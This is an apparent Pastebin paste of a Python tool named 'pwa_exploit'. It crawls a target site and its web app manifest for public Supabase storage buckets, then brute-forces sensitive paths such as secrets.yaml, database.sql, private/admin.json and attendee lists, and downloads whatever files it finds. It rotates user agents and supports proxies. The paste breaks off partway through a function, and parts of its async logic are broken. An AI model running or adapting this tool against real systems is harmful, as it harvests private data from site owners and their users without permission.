Ghost_Aptitude

Hvckthehills.com

Oct 9th, 2025
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 19.97 KB | None | 0 0
  1. import json
  2. import requests
  3. import os
  4. import time
  5. import hashlib
  6. import re
  7. import asyncio
  8. import aiohttp
  9. from urllib.parse import urlparse, urljoin
  10. import argparse
  11. from datetime import datetime
  12. import mimetypes
  13. import itertools
  14. from pathlib import Path
  15. import concurrent.futures
  16. import subprocess
  17. import random
  18. import zipfile
  19. try:
  20.     from tqdm import tqdm
  21. except ImportError:
  22.     tqdm = lambda x, **kwargs: x
  23. try:
  24.     import PyPDF2
  25. except ImportError:
  26.     PyPDF2 = None
  27. try:
  28.     from PIL import Image
  29. except ImportError:
  30.     Image = None
  31.  
  32. OUTPUT_DIR = os.path.expanduser("~/storage/shared/pwa_exploit_downloads")
  33. REPORT_FILE = os.path.expanduser("~/storage/shared/pwa_exploit_report.json")
  34. CSV_FILE = os.path.expanduser("~/storage/shared/pwa_exploit_report.csv")
  35. HTML_FILE = os.path.expanduser("~/storage/shared/pwa_exploit_report.html")
  36. LOG_FILE = os.path.expanduser("~/storage/shared/pwa_exploit.log")
  37. ERROR_LOG = os.path.expanduser("~/storage/shared/pwa_exploit_errors.log")
  38. CONFIG_FILE = os.path.expanduser("~/storage/shared/pwa_exploit_config.json")
  39. TIMEOUT = 15
  40. MAX_ATTEMPTS = 500
  41. RATE_LIMIT_DELAY = 0.5
  42. MAX_RETRIES = 3
  43. MAX_WORKERS = 2
  44. ALLOWED_FILE_TYPES = ['image/jpeg', 'image/png', 'image/webp', 'application/pdf', 'application/json', 'application/zip', 'text/plain', 'text/csv']
  45. ALLOWED_EXTENSIONS = ['.jpg', '.jpeg', '.png', '.webp', '.pdf', '.json', '.zip', '.txt', '.csv']
  46. MAX_FILE_SIZE = 5 * 1024 * 1024
  47. USER_AGENTS = [
  48.     'Mozilla/5.0 (Linux; Android 10; SM-G960F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.120 Mobile Safari/537.36',
  49.     'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
  50.     'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36'
  51. ]
  52.  
  53. async def async_get(url, proxy=None, timeout=TIMEOUT):
  54.     try:
  55.         async with aiohttp.ClientSession(headers={'User-Agent': random.choice(USER_AGENTS)}) as session:
  56.             if proxy:
  57.                 session.connector = aiohttp.TCPConnector(ssl=False) if proxy.startswith('http://') else None
  58.                 response = await session.get(url, proxy=proxy, timeout=timeout)
  59.             else:
  60.                 response = await session.get(url, timeout=timeout)
  61.             response.raise_for_status()
  62.             return await response.text(), response.headers.get('content-type', 'unknown'), response.status
  63.     except:
  64.         return None, None, None
  65.  
  66. def log_message(message, verbose=False, quiet=False):
  67.     if not quiet:
  68.         print(message)
  69.     with open(LOG_FILE, 'a') as f:
  70.         f.write(f"{datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S UTC')} - {message.replace('\033[0m', '').replace('\033[31m', '').replace('\033[32m', '').replace('\033[33m', '').replace('\033[36m', '')}\n")
  71.  
  72. def log_error(message):
  73.     with open(ERROR_LOG, 'a') as f:
  74.         f.write(f"{datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S UTC')} - {message}\n")
  75.  
  76. def check_termux_storage():
  77.     try:
  78.         subprocess.run(["termux-setup-storage"], shell=True, check=False)
  79.         time.sleep(2)
  80.         shared_dir = os.path.expanduser("~/storage/shared")
  81.         if os.path.exists(shared_dir) and os.access(shared_dir, os.W_OK):
  82.             return shared_dir
  83.         home_dir = os.path.expanduser("~/")
  84.         if os.access(home_dir, os.W_OK):
  85.             return home_dir
  86.         raise Exception("No writable directory found")
  87.     except Exception as e:
  88.         log_error(f"Storage check failed: {e}")
  89.         return os.path.expanduser("~/")
  90.  
  91. def notify_termux(message):
  92.     try:
  93.         subprocess.run(["termux-toast", message], check=False)
  94.     except:
  95.         pass
  96.  
  97. def get_free_space(path):
  98.     try:
  99.         stat = os.statvfs(path)
  100.         return stat.f_bavail * stat.f_frsize
  101.     except:
  102.         return float('inf')
  103.  
  104. def sanitize_filename(filename):
  105.     invalid_chars = '<>:"/\\|?*'
  106.     for char in invalid_chars:
  107.         filename = filename.replace(char, '_')
  108.     return filename[:255]
  109.  
  110. def clean_storage(output_dir, quiet=False, ultra_low_memory=False):
  111.     if ultra_low_memory:
  112.         return
  113.     if get_free_space(output_dir) < MAX_FILE_SIZE * 2:
  114.         log_message("\033[33m[*] Low storage detected, cleaning up ⏳\033[0m", quiet=quiet)
  115.         try:
  116.             for f in os.listdir(output_dir):
  117.                 try:
  118.                     os.remove(os.path.join(output_dir, f))
  119.                 except:
  120.                     pass
  121.             log_message("\033[32m[+] Storage cleaned successfully ✅\033[0m", quiet=quiet)
  122.             notify_termux("Storage cleaned")
  123.         except Exception as e:
  124.             log_error(f"Storage cleanup failed: {e}")
  125.             log_message("\033[31m[-] Failed to clean storage ❌\033[0m", quiet=quiet)
  126.  
  127. def load_config():
  128.     default_config = {
  129.         'timeout': TIMEOUT,
  130.         'max_attempts': MAX_ATTEMPTS,
  131.         'max_file_size': MAX_FILE_SIZE,
  132.         'allowed_extensions': ALLOWED_EXTENSIONS,
  133.         'wordlist': ['public', 'assets', 'speakers', 'backups', 'data', 'cfp', 'tickets', 'sponsors', 'workshops', 'archive']
  134.     }
  135.     try:
  136.         if os.path.exists(CONFIG_FILE):
  137.             with open(CONFIG_FILE, 'r') as f:
  138.                 return json.load(f)
  139.         with open(CONFIG_FILE, 'w') as f:
  140.             json.dump(default_config, f, indent=2)
  141.         return default_config
  142.     except:
  143.         return default_config
  144.  
  145. async def discover_manifest(domain, proxy=None, verbose=False, quiet=False):
  146.     try:
  147.         text, _, _ = await async_get(domain, proxy)
  148.         if not text:
  149.             log_message("\033[31m[-] Failed to fetch domain for manifest discovery ❌\033[0m", verbose, quiet)
  150.             return None
  151.         manifest_url = re.search(r'<link[^>]+rel=["\']manifest["\'][^>]+href=["\'](.*?)["\']', text)
  152.         if manifest_url:
  153.             manifest_url = urljoin(domain, manifest_url.group(1))
  154.             log_message(f"\033[32m[+] Discovered manifest: {manifest_url} ✅\033[0m", verbose, quiet)
  155.             return manifest_url
  156.         for path in ['/manifest.json', '/app.webmanifest', '/site.webmanifest']:
  157.             url = urljoin(domain, path)
  158.             text, content_type, status = await async_get(url, proxy)
  159.             if status == 200 and content_type.startswith('application'):
  160.                 log_message(f"\033[32m[+] Discovered manifest: {url} ✅\033[0m", verbose, quiet)
  161.                 return url
  162.         log_message("\033[31m[-] No manifest found on domain ❌\033[0m", verbose, quiet)
  163.         return None
  164.     except Exception as e:
  165.         log_error(f"Manifest discovery failed: {e}")
  166.         log_message(f"\033[31m[-] Error discovering manifest: {e} ❌\033[0m", verbose, quiet)
  167.         return None
  168.  
  169. async def parse_manifest(manifest_path_or_url, proxy=None, verbose=False, quiet=False):
  170.     try:
  171.         if manifest_path_or_url.startswith('http'):
  172.             text, content_type, status = await async_get(manifest_path_or_url, proxy)
  173.             if status != 200 or not content_type.startswith('application'):
  174.                 raise Exception("Invalid manifest response")
  175.             manifest_data = json.loads(text)
  176.         else:
  177.             with open(manifest_path_or_url, 'r') as f:
  178.                 manifest_data = json.load(f)
  179.         icons = [icon['src'] for icon in manifest_data.get('icons', []) if 'src' in icon]
  180.         log_message(f"\033[32m[+] Found {len(icons)} icon(s) ✅\033[0m", verbose, quiet)
  181.         return icons, manifest_data.get('start_url', '')
  182.     except Exception as e:
  183.         log_error(f"Manifest parsing failed: {e}")
  184.         log_message(f"\033[31m[-] Error parsing manifest: {e} ❌\033[0m", verbose, quiet)
  185.         return [], ''
  186.  
  187. async def crawl_parent_domain(domain, proxy=None, verbose=False, quiet=False):
  188.     try:
  189.         urls = set([domain])
  190.         supabase_urls = set()
  191.         visited = set()
  192.         depth = 0
  193.         while urls and depth < 2:
  194.             current_urls = list(urls)
  195.             urls.clear()
  196.             depth += 1
  197.             log_message(f"\033[33m[*] Crawling {domain} at depth {depth}/2... ⏳\033[0m", verbose, quiet)
  198.             tasks = [async_get(url, proxy) for url in current_urls if url not in visited]
  199.             for future in asyncio.as_completed(tasks):
  200.                 text, content_type, _ = await future
  201.                 if not text:
  202.                     continue
  203.                 url = current_urls[tasks.index(future)]
  204.                 visited.add(url)
  205.                 if content_type.startswith('text/html'):
  206.                     links = re.findall(r'href=["\'](.*?)["\']', text) + re.findall(r'src=["\'](.*?)["\']', text)
  207.                     for link in links:
  208.                         if link.startswith('http') or link.startswith('/'):
  209.                             new_url = urljoin(domain, link)
  210.                             if domain in new_url and new_url not in visited:
  211.                                 urls.add(new_url)
  212.                 matches = re.findall(r'https?://[a-z0-9]+\.supabase\.co/storage/v1/object/public/[^"\s>]+', text)
  213.                 supabase_urls.update(matches)
  214.                 log_message(f"\033[32m[+] Found {len(matches)} Supabase URLs in {url} ✅\033[0m", verbose, quiet)
  215.             for path in ['/robots.txt', '/sitemap.xml']:
  216.                 url = urljoin(domain, path)
  217.                 if url in visited:
  218.                     continue
  219.                 text, _, _ = await async_get(url, proxy)
  220.                 if text:
  221.                     visited.add(url)
  222.                     if path == '/robots.txt':
  223.                         urls.update(urljoin(domain, line.split(': ')[1]) for line in text.split('\n') if line.startswith('Allow:') or line.startswith('Sitemap:'))
  224.                     elif path == '/sitemap.xml':
  225.                         urls.update(re.findall(r'<loc>(.*?)</loc>', text))
  226.                     log_message(f"\033[32m[+] Found {len(urls)} URLs from {url} ✅\033[0m", verbose, quiet)
  227.         return supabase_urls
  228.     except Exception as e:
  229.         log_error(f"Parent domain crawling failed: {e}")
  230.         log_message(f"\033[31m[-] Error crawling parent domain: {e} ❌\033[0m", verbose, quiet)
  231.         return set()
  232.  
  233. async def is_publicly_accessible(url, proxy=None):
  234.     for attempt in range(MAX_RETRIES):
  235.         try:
  236.             async with aiohttp.ClientSession(headers={'User-Agent': random.choice(USER_AGENTS)}) as session:
  237.                 if proxy:
  238.                     session.connector = aiohttp.TCPConnector(ssl=False) if proxy.startswith('http://') else None
  239.                     response = await session.head(url, allow_redirects=True, proxy=proxy, timeout=TIMEOUT)
  240.                 else:
  241.                     response = await session.head(url, allow_redirects=True, timeout=TIMEOUT)
  242.                 if response.status == 200:
  243.                     content_type = response.headers.get('content-type', 'unknown')
  244.                     content_length = int(response.headers.get('content-length', 0))
  245.                     if content_length > MAX_FILE_SIZE or not any(url.lower().endswith(ext) for ext in ALLOWED_EXTENSIONS):
  246.                         return False, None
  247.                     return True, content_type
  248.                 return False, None
  249.         except Exception as e:
  250.             log_error(f"Accessibility check failed for {url}: {e}")
  251.             await asyncio.sleep(RATE_LIMIT_DELAY * (2 ** attempt) * random.uniform(0.8, 1.2))
  252.     return False, None
  253.  
  254. def extract_bucket_info(supabase_url):
  255.     parsed = urlparse(supabase_url)
  256.     path_parts = parsed.path.strip('/').split('/')
  257.     if len(path_parts) >= 4 and path_parts[0] == 'storage' and path_parts[1] == 'v1' and path_parts[2] == 'object':
  258.         project_ref = parsed.netloc.split('.')[0]
  259.         bucket = path_parts[3]
  260.         prefix = '/'.join(path_parts[4:]) if len(path_parts) > 4 else ''
  261.         return project_ref, bucket, prefix
  262.     return None, None, None
  263.  
  264. def generate_common_paths(config):
  265.     base_paths = [
  266.         'index.html', 'manifest.json', 'sw.js', 'robots.txt',
  267.         'logo.png', 'icon.svg', 'banner.jpg', 'favicon.ico',
  268.         'config.json', 'secrets.yaml', 'backup.zip', 'database.sql',
  269.         'public/avatars/avatar.jpg', 'private/admin.json',
  270.         'assets/schedule.pdf', 'speakers/bios.txt', 'tickets.csv'
  271.     ]
  272.     dynamic_paths = [f"img_{i}.{ext}" for i in range(1, 25) for ext in config['allowed_extensions']]
  273.     conference_paths = [f"assets/conference_{year}.pdf" for year in range(2020, 2030)] + [
  274.         f"speakers/speaker_{i}.jpg" for i in range(1, 30)
  275.     ] + ['cfp_submissions.zip', 'attendees.xlsx', 'schedule.json', 'event_logo.png', 'sponsors.pdf', 'workshops.pdf', 'keynote.pptx', 'badges.pdf']
  276.     dir_brute = [f"{prefix}/" for prefix in config['wordlist'] + ['events', '2025', 'uploads', 'private']]
  277.     return base_paths + dynamic_paths + conference_paths + dir_brute
  278.  
  279. def calculate_file_hash(file_path):
  280.     sha256 = hashlib.sha256()
  281.     try:
  282.         with open(file_path, 'rb') as f:
  283.             for chunk in iter(lambda: f.read(4096), b''):
  284.                 sha256.update(chunk)
  285.         return sha256.hexdigest()
  286.     except:
  287.         return 'unknown'
  288.  
  289. def extract_file_content(file_path, content_type, low_memory, ultra_low_memory):
  290.     if low_memory or ultra_low_memory:
  291.         return 'Skipped due to low-memory mode'
  292.     try:
  293.         if content_type == 'application/pdf' and PyPDF2:
  294.             with open(file_path, 'rb') as f:
  295.                 pdf = PyPDF2.PdfReader(f)
  296.                 text = ''.join(page.extract_text() or '' for page in pdf.pages[:2])
  297.                 return text[:500] or 'No text extracted'
  298.         elif content_type in ['image/jpeg', 'image/png', 'image/webp'] and Image:
  299.             with Image.open(file_path) as img:
  300.                 return f"Image metadata: {img.format}, {img.size}, {img.mode}"
  301.         elif content_type in ['text/plain', 'text/csv', 'application/json']:
  302.             with open(file_path, 'r', errors='ignore') as f:
  303.                 return f.read(500)
  304.         return 'No content extracted'
  305.     except Exception as e:
  306.         log_error(f"Content extraction failed for {file_path}: {e}")
  307.         return 'Error extracting content'
  308.  
  309. async def download_file(url, output_dir=OUTPUT_DIR, proxy=None, verbose=False, quiet=False, low_memory=False, ultra_low_memory=False, test=False):
  310.     if test or ultra_low_memory:
  311.         log_message(f"\033[32m[+] Simulated download: {url} ✅\033[0m", verbose, quiet)
  312.         return {'url': url, 'file': 'simulated', 'size': 0, 'type': 'unknown', 'hash': 'unknown', 'content_preview': 'simulated'}
  313.     try:
  314.         if get_free_space(output_dir) < MAX_FILE_SIZE:
  315.             clean_storage(output_dir, quiet, ultra_low_memory)
  316.             log_message(f"\033[31m[-] Insufficient storage in {output_dir} ❌\033[0m", verbose, quiet)
  317.             return None
  318.         os.makedirs(output_dir, exist_ok=True, mode=0o755)
  319.         filename = os.path.join(output_dir, sanitize_filename(os.path.basename(urlparse(url).path)))
  320.         for attempt in range(MAX_RETRIES):
  321.             try:
  322.                 async with aiohttp.ClientSession(headers={'User-Agent': random.choice(USER_AGENTS)}) as session:
  323.                     if proxy:
  324.                         session.connector = aiohttp.TCPConnector(ssl=False) if proxy.startswith('http://') else None
  325.                         response = await session.get(url, proxy=proxy, timeout=TIMEOUT)
  326.                     else:
  327.                         response = await session.get(url, timeout=TIMEOUT)
  328.                     response.raise_for_status()
  329.                     content_type = response.headers.get('content-type', 'unknown')
  330.                     if content_type not in ALLOWED_FILE_TYPES or not any(url.lower().endswith(ext) for ext in ALLOWED_EXTENSIONS):
  331.                         log_message(f"\033[31m[-] Invalid file type: {url} ({content_type}) ❌\033[0m", verbose, quiet)
  332.                         return None
  333.                     total_size = 0
  334.                     with open(filename, 'wb') as f:
  335.                         async for chunk in response.content.iter_chunked(8192):
  336.                             if total_size + len(chunk) > MAX_FILE_SIZE:
  337.                                 log_message(f"\033[31m[-] File too large: {url} ❌\033[0m", verbose, quiet)
  338.                                 return None
  339.                             f.write(chunk)
  340.                             total_size += len(chunk)
  341.                     file_hash = calculate_file_hash(filename)
  342.                     content_preview = extract_file_content(filename, content_type, low_memory, ultra_low_memory)
  343.                     log_message(f"\033[32m[+] Downloaded: {filename} (Size: {total_size} bytes, Type: {content_type}, SHA-256: {file_hash[:16]}...) ✅\033[0m", verbose, quiet)
  344.                     log_message(f"\033[36m    Content preview: {content_preview[:100]}...\033[0m", verbose, quiet)
  345.                     return {'url': url, 'file': filename, 'size': total_size, 'type': content_type, 'hash': file_hash, 'content_preview': content_preview}
  346.             except Exception as e:
  347.                 log_error(f"Download attempt {attempt + 1} failed for {url}: {e}")
  348.                 log_message(f"\033[31m[-] Download attempt {attempt + 1} failed for {url}: {e} ❌\033[0m", verbose, quiet)
  349.                 await asyncio.sleep(RATE_LIMIT_DELAY * (2 ** attempt) * random.uniform(0.8, 1.2))
  350.         log_message(f"\033[31m[-] Failed to download {url} after {MAX_RETRIES} attempts ❌\033[0m", verbose, quiet)
  351.         return None
  352.     except Exception as e:
  353.         log_error(f"Download failed for {url}: {e}")
  354.         log_message(f"\033[31m[-] Error downloading {url}: {e} ❌\033[0m", verbose, quiet)
  355.         return None
  356.  
  357. async def parallel_enumerate(urls, project_ref, bucket, proxy, verbose, quiet, no_progress, low_memory, ultra_low_memory, test):
  358.     found_files = []
  359.     iterator = urls if no_progress else tqdm(urls, desc="Enumerating paths")
  360.     tasks = [is_publicly_accessible(url, proxy) for url in iterator]
  361.     for future in asyncio.as_completed(tasks):
  362.         url = iterator[tasks.index(future)] if no_progress else next(itertools.islice(iterator, tasks.index(future), None))
  363.         accessible, content_type = await future
  364.         await asyncio.sleep(RATE_LIMIT_DELAY * random.uniform(0.8, 1.2))
  365.         if accessible and content_type in ALLOWED_FILE_TYPES:
  366.             path = url.replace(f"https://{project_ref}.supabase.co/storage/v1/object/public/{bucket}/", "")
  367.             found_files.append((url, path, content_type))
  368.             log_message(f"\033[32m[+] Exposed file: {url} (Type: {content_type}) ✅\033[0m", verbose, quiet)
  369.         else:
  370.             log_message(f"\033[31m[-] Not accessible or invalid type: {url} ❌\033[0m", verbose, quiet)
  371.         if len(found_files) >= load_config()['max_attempts']:
  372.             break
  373.     return found_files
  374.  
  375. async def recursive_crawl(base_url, project_ref, bucket, prefix, proxy, verbose, quiet, no_progress, low_memory, ultra_low_memory, test):
  376.     found_files = []
  377.     directories = set([prefix]) if prefix else set([''])
  378.     visited = set()
  379.     depth = 0
  380.     config = load_config()
  381.     while directories and depth < 3:
  382.         current_dirs = list(directories)
  383.         directories.clear()
  384.         depth += 1
  385.         log_message(f"\033[33m[*] Crawling depth {depth}/3 with {len(current_dirs)} directories... ⏳\033[0m", verbose, quiet)
  386.         for dir_path in current_dirs:
  387.             paths = generate_common_paths(config)
  388.             urls = [urljoin(f"https://{project_ref}.supabase.co/storage/v1/object/public/{bucket}/", f"{dir_path}/{path}" if dir_path else path) for path in paths]
  389.             found_files.extend(await parallel_enumerate(urls, project_ref, bucket, proxy, verbose, quiet, no_progress, low_memory, ultra_low_memory, test))
  390.             for url, path, content_type in found_files:
  391.                 if not any(path.endswith(ext) for ext in config['allowed_extensions']):
  392.                     directories.add(path)
  393.                 visited.add(path)
  394.             if len(found_files) >= config['max_attempts']:
  395.                 log_message(f"\033[31m[!] Reached max attempts, stopping enumeration ❌\033[0m", verbose, quiet)
  396.                
Advertisement
Add Comment
Please, Sign In to add comment